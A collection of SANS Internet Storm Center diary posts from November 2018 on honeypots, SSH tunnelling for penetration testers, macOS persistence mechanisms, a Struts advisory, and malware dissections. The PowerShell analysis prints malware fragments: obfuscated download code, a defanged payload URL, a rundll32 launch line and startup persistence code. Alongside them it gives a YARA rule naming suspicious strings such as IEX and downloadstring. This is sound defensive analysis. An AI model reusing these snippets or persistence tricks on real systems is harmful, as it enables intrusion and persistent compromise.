Posted on

Community contribution: joining forces or multiply solutions?, (Sun, Nov 11th)

Today’s diary will be less technical than usual, and more “philosophical” let’s say (because, why not, we need those too :)) Last week I shared a thought on twitter, saying that sometimes I wish in our community we would stop “reinventing the wheel” by developing yet another FOSS tool that solves the same problem, instead of joining forces and build fewer but better and longer term solutions. This generated few interesting conversations both online and offline.

Please keep in mind that, for me, there is no right and wrong side on this, I think both have valid arguments, but nevertheless I felt I would like to hear more you about this, since it’s a topic that I hear in more and more often into, and of course the “dream” of one day seeing this happen. There are several ways to contribute in our community:

  1. Write a full fledged tool/framework that solves one or more problems (e.g. Metasploit [1], plaso [2], MISP [3], Viper [4], TheHive [5], YETI [6], Volatility [7], etc.). This is something you definitely need be capable of to do, and not everybody is able to (I’m certainly one of those who is not).
  2. Write scripts / smaller solutions that solve one specific problem (yours or someone else’s). These is extremely useful because you solved a specific problem, and even if this is yet another command someone may need to run, maybe someone else will pick it up and integrate that functionality into a bigger framework.
  3. Use and test tools written by other, and report bugs as thoroughly documented as possible. Now, this and the next point are largely underestimated. Submitting bugs to the author(s) of a tool is super useful and super important for the continuous improvement of such tool. Also, the author(s) could never run into all possible use cases, therefore some bugs will show up and be fixed only if you all report them. Please, do it!
  4. So many ways to contribute without the need to know/wanting to code, some examples:
    • Write/update documentations for tools you use.There is an extreme lack of (updated) documentation, and I cannot stress enough how important such contribution would be. Tools author(s) are often (and understandably so) very busy keeping up fixing bug and implementing new features, and documentation is not the obvious priority. So one way to give back would be by doing so. And we all would be extremely thankful to you.
    • Contribute to projects where there is actually no code to write, but rather collect, centralize and organize information such as ForensicArtifacts [8] or mac4n6 Artifacts Project [9][10] (shameless plug, I know, but I think it’s a good use case for this). All you need to do for the two above examples is to share artifacts location you have found across your investigations.
    • Etc.
  5. You name it… so many ways (no more excuses not to contribute).

The focus of my original thought is mostly on the first of the above points. There are not too many people (compared to the overall size of the community) able to code at such level, and sometimes seeing the fragmentation of big good projects which overlap 80-90% in functionalities makes me wonder of the potential those developers could reach if joining forces on the same project.

I totally agree, it’s not easy, and motivations to do so are as valid on both sides. The most common initial reason I hear is “well, none of the tools out there covered all my needs, so I (we) decided to write it from scratch.”. Fair point. However, is it really worthy to do so instead of bringing in those 10-20% new features you need into the existing project?

Some people feel like writing it in a different language would boost performance and longer term maintenance/development, or simply are good at a different language, and this would go against the author(s) of the original tool. Some other want to have the control of the long term development, and you definitely have if you own the tool. Still others advocate for more diversity, I definitely do agree that diversity (as always and in every context) is good. Having multiple solutions which can help you double check your findings is great (never blindly trust one source only). But is too much diversity in tooling still good?

As I wrote on twitter, this is a dream, I’m aware of it. But whether you are one of those gifted who can Code or not, I would love to hear your opinion.

One final message: clearly, you do not need to know how to code to contribute to FOSS projects. Pick one and start contributing today!

Happy Hunting,

[1] – Metasploit,
[2] – plaso,
[3] – MISP,
[4] – Viper,
[5] – TheHive,
[6] – YETI,
[7] – Volatility,
[8] – ForensicArtifacts,
[9] – mac4n6 Artifacts Project,
[10] – mac4n6 Artifacts Project,

Pasquale Stirparo, @pstirparo

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Playing with T-POT, (Fri, Nov 9th)

I was looking for a honeypot install that had great reporting and was easy to deploy. I ran across T-Pot honeypot (  It runs on Ubuntu 16.04 and docker. They have an auto install script that sets everything up very nicely. If this is your first time using docker or the Elastic stack, this is a great way to get started with it.


They have setup dockers for conpot, cowrie, dionaea, elasticpot, emobility, glastopf, honeytrap, mailoney, rdpy and vnclowpot. All this is tied together with elastic and Suricata. It’s a very slick architecture in a very small package.



Follow the auto install information for the github site.


Once installed SSH is on port 64295 and the web dashboard is on port 64297.

The default dashboard does a really great job of breaking down what’s going on quickly. Here you can see that Cowrie, the SSH honeypot, is getting the most hits.  While the number of unique IP’s seems consistent, the number of events is dynamic.



98 percent of IP’s that scanned my system were already known attackers or a had a bad reputation.


Having Suricata also analyzing the traffic is a nice touch because you get a more indepth look at what type of attacks are hitting your systems and allows for better searching if you are looking for specific attacks.




If you want to see specific breakdown by each honeypot, click on the dashboard with more specific information .




I can’t say enough how easy to deploy and get working this project is.  Give it a shot and you want be disappointed. My next port about T-pot will cover how to set it up to report to Dshield!  Let me know what ya think of it.






Tom Webb @twsecblog

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Tunneling scanners (or really anything) over SSH, (Wed, Nov 7th)

I am sure that many penetration testers among our readers try to minimize their travel. While many years ago we had to be physically present for internal penetration tests, today it is very common that client organizations setup virtual machines for penetration testers, which are then used to perform internal penetration tests.
In most cases this will boil down to two VMs: one with Kali Linux and the other one with your favorite scanner. However, it is also quite common that only one VM is provided and that one is used to tunnel traffic through (or pivot through it).

I was recently performing an internal penetration test where the only VM I had was a Kali Linux VM, with SSH to it.
Depending on the target environment, one can manually perform a penetration test, but since I was dealing with a larger number of machines in the scope, I wanted to run a vulnerability scanner. However, the only VM I had was the Kali Linux VM and an SSH connection.

Tunneling network traffic through the VM seems like an obvious choice, however this not all that trivial since the scanner generally needs raw access to sockets. So this diary describes one solution I came up with – let us know if you have another solution for this problem.

The diagram below shows our target devices. We will want to establish an SSH connection from the vulnerability scanner server to the Kali Linux VM, and use that connection to scan the target network.

Target network

SSH has extremely powerful tunneling capabilities (actually, so powerful that it is a bit scary). We will use SSH’s Tunnel option to tunnel traffic between two TUN TAP interfaces. These are virtual devices that behave as real interfaces so our scanner will not know the difference.

First we need to create such devices on both sides with the following command:

# tunctl -t tap0

Now we can assign an IP address to this interface. On the scanner server:

# ifconfig tap0 netmask

And on the Kali Linux VM:

# ifconfig tap0 netmask

We will link those devices with an SSH tunnel. Now, in order to do that we need to be root on both sides so I created an SSH key that I copied on the Kali Linux VM:

# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/
The key fingerprint is:
SHA256:IhndAn301XGp4TkWgS1s/QyEJdmo4fh6vhR/nmmLElw [email protected]
The key’s randomart image is:
+—[RSA 2048]—-+
|    .. .. ..%=o.o|
|     o…o X.B.o |
|    . o.+ = o O  |
|     o o o E * o |
|    o . S.. . .  |
|     . . +o      |
|        …. .   |
|       ..o  +.o  |
|        ooo..=.  |

This allows us to login without specifying a password. Additionally, the target SSH server must allow tunneling – this can be done by adding the following line into /etc/ssh/sshd_config on the Kali Linux VM:


And we are now ready – we can simply login from the scanner server to the Kali Linux VM with the following ssh command:

# ssh -o Tunnel=ethernet -f -w 0:0 [email protected] true

This will establish a tunnel and execute the “true” command (which does nothing), and send the process into background.
The tunnel should be up now, we can check that with the ethtool command:

# ethtool tap0
Settings for tap0:
        Supported ports: [ ]
        Supported link modes:   Not reported
        Supported pause frame use: No
        Supports auto-negotiation: No
        Advertised link modes:  Not reported
        Advertised pause frame use: No
        Advertised auto-negotiation: No
        Speed: 10Mb/s
        Duplex: Full
        Port: Twisted Pair
        PHYAD: 0
        Transceiver: internal
        Auto-negotiation: off
        MDI-X: Unknown
        Current message level: 0xffffffa1 (-95)
                               drv ifup tx_err tx_queued intr tx_done rx_status pktdata hw wol 0xffff8000
        Link detected: yes

Nice, our link is up. We can confirm that by pinging the remote tap0 interface:

# ping -c 3
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from icmp_seq=2 ttl=64 time=0.033 ms
64 bytes from icmp_seq=3 ttl=64 time=0.031 ms

— ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.028/0.030/0.033/0.006 ms

We’re not done yet though. We need to now configure our scanner server to send data for the target network ( above) through that tunnel. While there are more and less complex ways to do that, I opted to simply enable forwarding on the Kali Linux server with NAT (masquerading) and setup a route to the target network.

On the Kali Linux VM:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# iptables -t nat -A POSTROUTING -o tap0 -j MASQUERADE
# iptables -A INPUT -i eth0 -m state –state RELATED,ESTABLISHED -j ACCEPT
# iptables -A INPUT -i tap0 -m state –state RELATED,ESTABLISHED -j ACCEPT
# iptables -A FORWARD -j ACCEPT

On the scanner server:

# ip route add via

And we’re done – let’s test it by scanning a server in the target network:

# nmap -sT -Pn

Starting Nmap 7.01 ( ) at 2018-11-05 21:48 CET
Nmap scan report for
Host is up (0.022s latency).
Not shown: 988 closed ports
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
389/tcp  open  ldap
443/tcp  open  https
464/tcp  open  kpasswd5
636/tcp  open  ldapssl
749/tcp  open  kerberos-adm
8080/tcp open  http-proxy
8089/tcp open  unknown
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds

There we go – our tunnel is up and happily moving data between our networks. No more battling with proxychains! We can now simply start a scan as we would normally do and SSH will do the job for us.
Before ending this diary, let me mention another interesting tool: sshuttle ( In many cases you can use this tool as well, its benefit is that it does not require root privilege on the target server. I had some issues running a scanner with sshuttle so YMMV.

— Bojan

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Malicious Powershell Script Dissection, (Tue, Nov 6th)

Here is another example of malicious Powershell script found while hunting. Such scripts remain a common attack vector and many of them can be easily detected just by looking for some specific strings. Here is an example of YARA rule that I’m using to hunt for malicious Powershell scripts:

rule PowerShellSuspiciousStrings
        $ps1 = "powershell" nocase wide ascii
        $ps2 = "IEX" nocase wide ascii
        $ps3 = "new-object" nocase wide ascii
        $ps4 = "webclient" nocase wide ascii
        $ps5 = "downloadstring" nocase wide ascii
        $ps6 = "Hidden" nocase wide ascii
        $ps7 = "invoke" nocase wide ascii
        $ps8 = "Get-Random -input" nocase wide ascii
        $ps9 = "bypass" nocase wide ascii
        $ps10 = "shellcode" nocase wide ascii
        $ps11 = "Enter-PSSession" nocase wide ascii
        $ps12 = "-NoP" nocase wide ascii
        $ps13 = "-Enc" nocase wide ascii
        $ps14 = "-NonI" nocase wide ascii
        $ps15 = "downloadfile" nocase wide ascii
        $ps16 = "Invoke-Expression" nocase wide ascii
        $ps17 = "Start-Process" nocase wide ascii
        $ps18 = "ShellExecute" nocase wide ascii
        $ps19 = "[System.Convert]::" nocase wide ascii
        $ps20 = "FromBase64String(" nocase wide ascii
        $ps21 = "New-Object System.IO." nocase wide ascii
        $ps22 = "[System.Net." nocase wide ascii
        $ps23 = "System.Reflection.AssemblyName" nocase wide ascii
        $ps24 = "cG93ZXJzaGVsbC" nocase wide ascii
        $ps25 = "UG93ZXJTaGVsbC" nocase wide ascii
        4 of them and file_type contains "text" and new_file and positives > 0 and positives < 15

Most of them will be heavily obfuscated to make them unreadable and undetectable by security tools. The one that I found was not obfuscated to make it unreadable for the human but was strong enough to defeat most of the antivirus engines. The current VT score remains only 3/57[1] (SHA256: 01fd7fdb435d60544d95f420f7813e6a30b6fa64bf4f1522053144a02f961e39). The obfuscation was based on two techniques:

The usage of unreadable variable names like the snippet of code below:

1: ${/____/===/=___} = New-Object System.Uri $ExecutionContext.InvokeCommand.ExpandString(${_/==_/==_/__/==})
2: ${__////=__/=_} = [System.Net.HttpWebRequest]::Create(${/____/===/=___}) 
3: ${__////=__/=_}.set_Timeout(15000) 
4: ${/===___//===__} = ${__////=__/=_}.GetResponse() 

It’s easy to just perform search/replace operations on the file to replace variable names with more friendly ones.

The second technique used was to Base64 encode all the strings like:

1: ${_/__//=/__//} = ${_/__//=/__//} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA='))) 

You can see that the Base64 encoded string is a Unicode string. It easy to decode it and replace it by using a Cyberchef recipe. Being a lazy guy (who’s not?), I like to automate stuff. The recipe is easy:

Once decoded, what does the script do? (Note: all the code has been beautified)

First, it creates a Mutex:

function createNexMutex {
  try {
    $newMutex = New-Object System.Threading.Mutex($false, '444444444444')
    return $newMutex.WaitOne()  

It checks if running in a sandbox/virtualized environment:

function isRunningInAVM {
  $hardwareModel = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if ($hardwareModel -eq 'VirtualBox' -or
      $hardwareModel -eq 'VMware Virtual Platform' -or
      $hardwareModel -eq 'Virtual Machine' -or
      $hardwareModel -eq 'HVM domU') {
    return "Y"
  else { 
    return "N"

It tries to fetch a file from an Amazon S3 bucket: hxxps://s3-eu-west-1[.]amazonaws[.]com/killino2/image2.png. This file is a ZIP archive that contains two files:

$ unzip -t image2.png
Archive:  image2.png
    testing: _.dll                    OK
    testing: _.prx                    OK
No errors detected in compressed data of image2.png.

Files are extracted and moved to %APPDATA% with random filenames.

The DLL is executed by calling the exported function ‘MaxNotify’:

cd $env:APPDATA ; saps rundll32.exe $env:APPDATA$randomFilename, $maxNotify;

Note that ’saps’ is an alias for Start-Process. Powershell provides a long list of aliases[2] that can also be used to obfuscate some code. 

Here is a list of DLL exports available:

default viper _.dll > pe exports
[*] Exports:
 - 0xba77dc: b'GetMaxToGridRect' (5)
 - 0xba7198: b'MaxNotify' (10)
 - 0xba77c8: b'MaxNotifyAppHWND' (9)
 - 0xba77d4: b'NVUnHook' (7)
 - 0xba77d8: b'NvSmartMaxShutdown' (6)
 - 0xba77d0: b'NvSmartMax_OnSetWorkArea' (8)
 - 0xba77e0: b'SmartMaxLookupLSdVPEzOLmluaz' (4)
 - 0x470364: b'TMethodImplementationIntercept' (3)
 - 0x411944: b'__dbk_fcall_wrapper' (2)
 - 0xbdd640: b'dbkFCallWrapperAddr' (1)

Finally, persistence is added by creating an LNK file stored in the Startup directory:

function setPersistence {
  try {  
    $newObject = New-Object -ComObject WScript.Shell 
    $newShortcut = $newObject.CreateShortcut($shortcutPath) 
    $newShortcut.TargetPath = 'powershell.exe' 
    $newShortcut.Arguments = $shortcutCmd
    $newShortcut.WorkingDirectory = '%SystemRoot%System32' 
    $newShortcut.WindowStyle = 7   
    $newShortcut.IconLocation = '%ProgramFiles%Internet Exploreriexplore.exe,1'

What about the DLL? Its SHA256 hash is 1ed49bd3e9df63aadcb573e37dfcbafffbb04acb2e4101b68d02ecda9da1eee7 and its current VT score is 7/67[3]. Once executed, the DLL spawns an Internet Explorer process and gets the victim localization by querying hxxp://ip-api[.]com/json/ but nothing else detected in my sandbox. The sample is identified by some AV as “Spyware.Amavaldo”[4]. If you have more details about this malware, please share!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Struts 2.3 Vulnerable to Two Year old File Upload Flaw, (Mon, Nov 5th)

Apache today released an advisory, urging users who run Apache Struts 2.3.x to update the commons-fileupload component [1]. Struts 2.3.x uses by default the old 1.3.2 version of commons-fileupload. In November of 2016, a deserialization vulnerability was disclosed and patched in commons-fileupload [2]. The vulnerability can lead to arbitrary remote code execution.

You are vulnerable if you run Struts 2.3.x, and if your site makes use of the file upload mechanism built into Struts. You are not vulnerable if you are running Struts 2.5.x. This newer version of Struts includes a patched commons-fileupload component.

There is no simple “new Struts version” to fix this. You will have to swap out the commons-fileupload library manually. Download version 1.3.3 and place it inside WEB-INF/lib, replacing the old version. For Maven-based projects, you will also need to update your dependencies (see the advisory for details). You can find the latest version here:

And while you are at it: Double check that you don’t have any other copies of the vulnerable library sitting on your systems. Struts isn’t the only one using it, and others may have neglected to update it as well.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Beyond good ol' LaunchAgent – part 1, (Sun, Nov 4th)

Last week, on the inception diary of this series [1], I’ve talked about LaunchAgent and LaunchDaemon, probably the most known and popular persistence mechanisms under macOS. But there are other mechanisms, definitely not new and well known in the *nix world, which are still linked or managed by launchd [2]:

  1. at commands
  2. Cronjob
  3. Periodic

at commands and cronjobs [3][4] are the traditional *nix mechanism to schedule task execution and recurring execution respectively. Those are very much linked to LaunchDaemons, since Apple has replaced those functionalities with Daemons. However, although are deprecated mechanisms, Apple has still legacy support, which means that can be still (ab)used by malware.

AT command

Differently from cronjobs, at commands are meant to be run only once, the next time they are scheduled. In the new OS versions, at daemon has been moved to LaunchDaemon to be handled by the launchd process, and it is disabled by default, as you can verify here:

$ plutil -p /System/Library/LaunchDaemons/
 “Disabled” => 1
 ” Label” => “”
 “ProgramArguments” => [
    0 => “/usr/libexec/atrun”
 “StartInterval” => 30

If enabled, standard at command can be used to schedule a task to run, such as
at 1450 tomorrow command_to_run
and you may still able to find evidence of those scheduled under /usr/lib/cron/jobs/


Cronjobs, as most of you already know, is the mechanism to tell the system to run specific tasks periodically at give intervals of time. The official way to do it in modern Apple systems, would be by using the StartCalendarInterval key in the Agent/Daemon plist file, as we have seen in the previous diary [1]. However, Apple still supports the legacy crontab mechanisms, which will run /usr/sbin/cron anytime a change in crontab or to files into /usr/lib/cron/tabs is detected [2]. To schedule a cronjob, it is sufficient to run crontab -e and insert the properly configured entry. As recap, the syntax is the following :

* * * * * command to execute

where the meaning of the asterisk is, in order from left to right:

  • min (0 – 59)
  • hour (0 – 23)
  • day of month (1 – 31)
  • month (1 – 12)
  • day of week (0 – 6), Sunday to Saturday, 7 is Sunday, same as 0

Some example of recurring execution:

Recurrence Example
Every day at 3pm 0 15 * * * /path/to/my/
Every work day at 3pm 0 15 * * 1-5 /path/to/my/ –argument
Every hour (at exactly hh:00) 0 * * * * /path/to/my/


One more way to schedule recurring tasks is to use periodic, part of the FreeBSD inheritance. Although commonly used to run system maintenance scripts, it can as well be abused to hide persistence mechanisms, also considering that is not often considered. Basically, periodic will run the scripts in the folders /etc/periodic/daily/, /etc/periodic/weekly/ and /etc/periodic/monthly/, the recurrence of which is easily comprehensible from the folders name. There you may be able to find traces of malicious recurring tasks as well.

Artifacts summary

Here a quick summary of the specific paths for the forensics artifacts of interest [5]:

AT Command:



Happy Hunting,


[1] – SANS ISC, “Beyond good ol’ LaunchAgent – part 0”,
[2] – Jonathan Levin (@Morpheus______), “*OS Internals”, 
[3] – MITRE ATT&CK (@MITREattack), “MacOS Techniques – Local Job Scheduling”,
[4] – Patrick Warlde (@patrickwardle), “OSX Malware Persistence”,
[5] – Pasquale Stirparo (@pstirparo), “mac4n6 Artifacts Project”,

Pasquale Stirparo,

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Dissecting a CVE-2017-11882 Exploit, (Sat, Nov 3rd)

About a week ago, I was asked for help with another malicious RTF file.

Malicious RTF files can not contain VBA code, in stead, malware authors have to use exploits to achieve code execution. This one here has become a classic: an overflow in the font record of an equation editor expression (%%cve:2017-11882%%).

Finding the payload with and was pretty straightforward (we’ve covered this before):

A cleartext command is easy to spot. But there are also %%cve:2017-11882%% exploits with shellcode and encoded commands, and there it’s harder to find the shellcode and its entry point. My tool can help with the analysis ( takes binary data as input and parses it according to a format string used by the Python struct module).

The structure of an OLE stream with Equation Editor data has been explained in detail in several articles, like this one, explaining that such an OLE stream starts with an header for Equation Editor data in an OLE stream (EQNOLEFILEHDR), followed by an MTEF header and several MTEF records. can parse these headers and records, when it is provided with the appropriate Python struct format string. For a sample like this, the format string to use is: <HIHIIIIIBBBBBBBBBB40sIIBB140s -s 192 -H -c “0x23:” -d ebde7d335a855059225288e152720021f79289353a79593c8e1efbc787c3dc29.vir | -s 4 -d | -f “<HIHIIIIIBBBBBBBBBB40sIIBB140s:XXXXXXXXXXXXXXXXXXsXXXXs" -n "1: size of EQNOLEFILEHDR 9: Start MTEF header 14: Full size record 15: Line record 16: Font record 19: Shellcode (fontname) 24: Command"

Entry 16 is the Font record, and entry 19 is the fontname. The fontname is 40 characters long, and can be overflowed on the stack, leading to EIP control. In simple exploits, where the payload command is at most 40 characters long, the fontname will contain the command and the return address will be overwritten to call WinExec.

Selecting entry 19 extracts the command. When the command is more than 40 characters long, malware authors use an exploit that is a bit more complex. The fontname then contains shellcode (without 0x00 bytes) that calls WinExec with a command that is appended to the fontame record + overflow. The sample presented here contains such shellcode, that can also be extracted by selecting entry 19:

Here is the disassembled shellcode:

The command can then be found in entry 24:

The struct format string I’m using here with is specially crafted for this exploit: I saw that the command was 140 characters long (including terminating 0x00) bytes, and I encoded that in the format string: 140s.

A more generic format string looks like this: “<HIHIIIIIBBBBBBBBBB40sII*:XXXXXXXXXXXXXXXXXXsXX"

I terminated this struct format string with * (remainder), right after the font record format (BBB40sII). By using * at the end of a struct format string, I direct to dump up to 256 bytes after parsing the input (e.g. the remainder).

This last format string can be used to dissect various CVE-2017-11882 exploits.

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

TriJklcj2HIUCheDES decryption failed?, (Fri, Nov 2nd)

I received a malicious Word document with detections on VirusTotal, but it does not exhibit malicious behavior in a sandbox.

That’s because it’s buggy:

The malware author must have executed a search and replace for string “pl” by string “Jklcj2HIUCh” to obfuscate the function and variable names a bit, without noticing “unwanted” replacements leading to the corruption of the TripleDES COM object name.

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.